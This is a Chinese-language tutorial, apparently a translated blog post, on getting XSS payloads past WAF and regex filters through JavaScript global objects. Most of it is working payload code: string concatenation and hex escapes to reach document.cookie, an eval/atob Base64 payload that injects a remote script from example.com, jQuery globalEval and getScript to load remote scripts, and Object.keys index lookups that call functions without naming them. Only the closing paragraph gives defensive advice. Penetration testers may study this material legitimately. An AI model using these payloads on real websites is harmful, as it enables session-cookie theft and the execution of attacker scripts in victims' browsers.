什么是JavaScript全局变量?
JavaScript全局变量在函数外部声明或使用window对象声明,它可以通过任何函数访问。
假设你的目标Web应用程序容易受到映射到JavaScript字符串或JavaScript函数中的XSS的攻。
例如,下面的PHP脚本:
echo "<script> var message = 'Hello ".$_GET["name"]."'; alert(message); </script>";
如你所见,name参数容易受到攻击,但是在这个示例中,假设Web应用程序有一个过滤器,它阻止使用正则表达式(如/document[^\.]*.[^\.]*cookie/)阻止将“document.cookie”字符串用于任何用户输入,让我们来看看以下有效载荷:
在这种情况下,可以使用JavaScript全局变量来绕过它。我们有很多方法可以从window或self对象访问document.cookie。例如,例如,像window["document"]["cookie"]这样的对象就不会被阻止。
从上面的示例中可以看出,你甚至可以使用self["alert"]("foo")这样的语法访问任何JavaScript函数,该函数等于alert("foo");,这种语法为你提供了许多绕过弱过滤器的方法。显然,你几乎可以在任何地方使用类似的语法,例如:
(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("yo")
关于“self”对象
Window.self只读属性返回窗口本身,作为WindowProxy,它可以与窗口对象(即window.self)或独立对象(self)上的点符号一起使用。独立符号的优点是对于非窗口上下文存在类似的表示法,例如在Web Workers中。通过使用self,你不仅可以在窗口上下文(self将解析为window.self)的方式中引用全局范围,而且还可以在运行上下文(self将解析为WorkerGlobalScope.self)中引用。
你可以从以下位置调用任何JavaScript函数:
• window
• self
• _self
• this
• top
• parent
• frames
小技巧1.连接和十六进制转义序列(Escape Sequence)
绕过WAF规则的最常见技术就是在可能的情况下使用字符串连接。对于RCE来说也是如此,即使对于SQLi和JavaScript也是如此。
有很多WAF使用基于JavaScript函数名列表的过滤器,其中许多过滤器会阻止包含诸如alert()或String.fromCharCode()之类的字符串的请求。由于全局变量,我们可以使用字符串连接或十六进制转义序列轻松绕过它们。例如:
/* ** alert(document.cookie); */ self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
绕过过滤器的更复杂的语法是用十六进制转义序列替换字符串,字符代码小于256的任何字符都可以使用其十六进制表示转义,并使用\x转义序列:
> console.log("\x68\x65\x6c\x6c\x6f\x2c\x20\x77\x6f\x72\x6c\x64\x21") < hello, world!
显然,将“alert”、“document”和“cookie”字符串替换为它们的十六进制表示,可以调用前面看到的全局变量中的任何函数:
/* ** alert(document.cookie) */ self["\x61\x6c\x65\x72\x74"]( self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"] ["\x63\x6f\x6f\x6b\x69\x65"] )
小技巧2. Eval和Base64编码的字符串
如果WAF要过滤我们的输入内容,那么最困难的事情之一就是动态创建并添加一个调用远程JavaScript文件(类似于 <script src="http://example.com/evil.js" …)的脚本对象。即使使用弱过滤器,它也不是那么容易做到的,因为有许多“可识别的”模式,如 <script, src=, http://等等。
Base64和eval()可以帮助我们,特别是如果我们可以避免将“eval”字符串作为用户输入发送的话。看一下下面的例子:
self["\x65\x76\x61\x6c"]( self["\x61\x74\x6f\x62"]( "dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\ c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\ HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\ QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\ oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\ aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\ y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\ 5kQ2hpbGQoc2NyaXB0KTs=" ) )
如上所示,我使用“eval”self["\x65\x76\x61\x6c"]和"atob"的十六进制表示来解码Base64字符串self["\x61\x74\x6f\x62"]。在Base64字符串中,有以下脚本:
// select head tag var head = document.getElementsByTagName('head').item(0); // create an empty <script> element var script = document.createElement('script'); // set the script element type attribute script.setAttribute('type', 'text/javascript'); // set the script element src attribute script.setAttribute('src','http://example.com/my.js'); // append it to the head element head.appendChild(script);
小技巧3. jQuery
正如本文所述,JavaScript为你提供了很多方法来逃避过滤器的过滤,这种方法同样适用于使用jQuery等库的现代网站。假设你不能使用self["eval"]及其十六进制表示形式,你可以通过使用例如self["$"]["globalEval"]让jQuery为你执行此操作:
你甚至可以轻松添加含有self["$"]["getScript"](url). getScript 的本地或远程脚本。 self["$"]["getScript"](url). getScript会使用GET HTTP请求从服务器加载JavaScript文件,然后执行它。该脚本是在全局上下文中执行的,因此它可以引用其他变量并使用jQuery函数。
小技巧4.迭代以及Object.keys
Object.keys()用于获取对象自身所有的可枚举的属性值,但不包括原型中的属性,然后返回一个由属性名组成的数组。
这意味着我们可以通过使用索引号而不是函数名来访问任何JavaScript函数。例如,打开浏览器的Web控制台并输入以下命令:
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
输入以上命令后,我们会得到self对象中“alert”函数的索引号。每个浏览器和每个打开的文档(在本文的示例中为5)的数字不同,但是它可以让你不使用函数名就可以调用任何函数。例如:
> Object.keys(self)[5] < "alert" > self[Object.keys(self)[5]]("foo") // alert("foo")
为了迭代self中的所有函数,你可以循环遍历self对象,并使用typeof elm === "function"检查对象是否是一个函数
f="" for(i in self) { if(typeof self[i] === "function") { f += i+", " } }; console.log(f)
迭代self内部的所有函数
如上所述,这个数字可以在不同的浏览器和文档上进行更改。因此,如果不允许我们使用“alert”字符串,并且上面的方法都不能使用,我们如何找到“alert”索引号呢?JavaScript可以很好的解决这个难题。我们要做的就是为变量(a)分配一个函数,该函数迭代self并找到警报索引号。然后,我们可以使用test()来查找带有正则表达式的“alert”,如^a[rel]+t$:
a = function() { c=0; // index counter for(i in self) { if(/^a[rel]+t$/.test(i)) { return c; } c++; } } // in one line a=()=>{c=0;for(i in self){if(/^a[rel]+t$/.test(i)){return c}c++}} // then you can use a() with Object.keys // alert("foo") self[Object.keys(self)[a()]]("foo")
总结
输入检查(Input Sanitization) (防止SQL注入)和 输入验证(Input Validation),这两个术语经常被刚入行的软件开发者混淆。验证意味着验证提交的数据是否符合开发人员为特定输入字段设置的规则或规则集。显然,对用户输入进行安全的验证是web应用程序应该做的基本工作。如果不可能,Web应用程序防火墙可能是一个不错的选择。